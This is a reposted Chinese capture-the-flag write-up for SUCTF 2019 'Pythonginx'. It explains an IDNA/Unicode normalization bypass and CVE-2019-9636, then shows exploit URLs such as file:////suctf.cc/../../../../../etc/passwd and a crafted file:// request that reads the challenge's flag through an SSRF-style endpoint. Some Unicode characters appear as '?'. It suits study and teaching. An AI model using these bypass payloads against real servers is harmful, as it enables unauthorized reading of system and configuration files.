[SUCTF 2019]Pythonginx
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了[SUCTF 2019]Pythonginx,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4713字,纯文字阅读大概需要7分钟。
内容图文
![[SUCTF 2019]Pythonginx](/upload/InfoBanner/zyjiaocheng/1260/c0d0725917e14f87b2d6b8b1a3ad09fc.jpg)
0x00知识点
2019black hat一个议题
PPT:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
内容如下:
这也就是说我们传入的url为http://evil.c?.com在经过上述处理过后便成为了http://evil.ca/c.com
在unicode中字符?(U+2100),当IDNA处理此字符时,会将?变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。
0x01非预期解
CVE-2019-9636:urlsplit不处理NFKC标准化
file:////suctf.cc/../../../../../etc/passwd
URLs encoded with Punycode/IDNA use NFKC normalization to decompose characters [1]. This can result in some characters introducing new segments into a URL.
For example, \uFF03 is not equal to '#' under direct comparison, but normalizes to '#' which changes the fragment part of the URL. Similarly \u2100 normalizes to 'a/c' which introduces a path segment.
Currently, urlsplit() does not normalize, which may result in it returning a different netloc from what a browser would
>>> u = "https://example.com\uFF03@bing.com"
>>> urlsplit(u).netloc.rpartition("@")[2]
bing.com
>>> # Simulate
>>> u = "https://example.com\uFF03@bing.com".encode("idna").decode("ascii")
>>> urlsplit(u).netloc.rpartition("@")[2]
example.com
(Note that .netloc includes user/pass and .rpartition("@") is often used to remove it.)
This may be used to steal cookies or authentication data from applications that use the netloc to cache or retrieve this information.
The preferred fix for the urllib module is to detect and raise ValueError if NFKC-normalization of the netloc introduce any of '/?#@:'. Applications that want to avoid this error should perform their own decomposition using unicodedata or transcode to ASCII via IDNA.
>>> # New behavior
>>> u = "https://example.com\uFF03@bing.com"
>>> urlsplit(u)
...
ValueError: netloc 'example.com#@bing.com' contains invalid characters under NFKC normalization
>>> # Workaround 1
>>> u2 = unicodedata.normalize("NFKC", u)
>>> urlsplit(u2)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')
>>> # Workaround 2
>>> u3 = u.encode("idna").decode("ascii")
>>> urlsplit(u3)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')
Note that we do not address other characters, such as those that convert into period. The error is only raised for changes that affect how urlsplit() locates the netloc and the very common next step of removing credentials from the netloc.
This vulnerability was reported by Jonathan Birch of Microsoft Corporation and Panayiotis Panayiotou (p.panayiotou2@gmail.com) via the Python Security Response Team. A CVE number has been requested.
[1]: https://unicode.org/reports/tr46/
链接
https://bugs.python.org/issue36216
0x02Nginx重要文件位置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
0x03解题
打开题目,给了源码
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
审计代码
前两个判断?host?是否是?suctf.cc?,如果不是才能继续。然后第三个经过了?decode(‘utf-8‘)?之后传进了?urlunsplit?函数,在第三个判断中又必须要等于?suctf.cc?才行。
直接构造
file://suctf.c?sr/local/nginx/conf/nginx.conf(另一种绕过方式是利用?来代替c及进行绕过),这样可以读到flag的位置:
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
读flag
http://d7844ab4-68f7-4e76-9432-a112b65afa1f.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/fffffflag
参考链接
https://blog.csdn.net/qq_42181428/article/details/99741920
原文:https://www.cnblogs.com/wangtanzhi/p/12181032.html
内容总结
以上是互联网集市为您收集整理的[SUCTF 2019]Pythonginx全部内容,希望文章能够帮你解决[SUCTF 2019]Pythonginx所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。